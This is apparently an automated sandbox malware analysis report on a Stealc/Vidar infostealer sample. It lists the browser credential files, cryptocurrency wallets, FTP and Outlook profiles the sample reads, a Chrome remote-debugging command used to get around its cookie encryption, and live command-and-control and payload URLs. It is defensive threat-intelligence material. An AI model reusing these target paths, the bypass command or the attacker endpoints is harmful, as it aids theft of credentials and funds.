Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2569376590.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2086228591.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.StealC
file.exe	40%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://185.215.113.206/68b591d6548ec281/mozglue.dll$	100%	Avira URL Cloud	malware
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dll2	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exed	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpR	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeP	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpv	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exed	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.74.196	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843338281&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://c.msn.com/c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://c.msn.com/c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EF0E439C952A43C2A81A9472C22E3198&MUID=26C7834DE9B0666626559677E895674C	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843338277&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log9.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://www.last.fm/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://www.instagram.com	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll2	file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll$	file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.messenger.com	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.deezer.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://web.telegram.org/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
http://185.215.113.16/mine/random.exed	file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpN	file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpR	file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://m.kugou.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://www.office.com	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/mine/random.exeP	file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://ntp.msn.com	000003.log0.9.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpv	file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gaana.com/	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj	file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/compose?isExtension=true	ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
3.170.115.43	unknown	United States	16509	AMAZON-02US	false
20.42.65.85	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.159.108.190	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.74.196	www.google.com	United States	15169	GOOGLEUS	false
23.198.7.173	unknown	United States	20940	AKAMAI-ASN1EU	false
142.251.116.132	unknown	United States	15169	GOOGLEUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.47.50.145	unknown	United States	16625	AKAMAI-ASUS	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557120
Start date and time:	2024-11-17 12:34:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
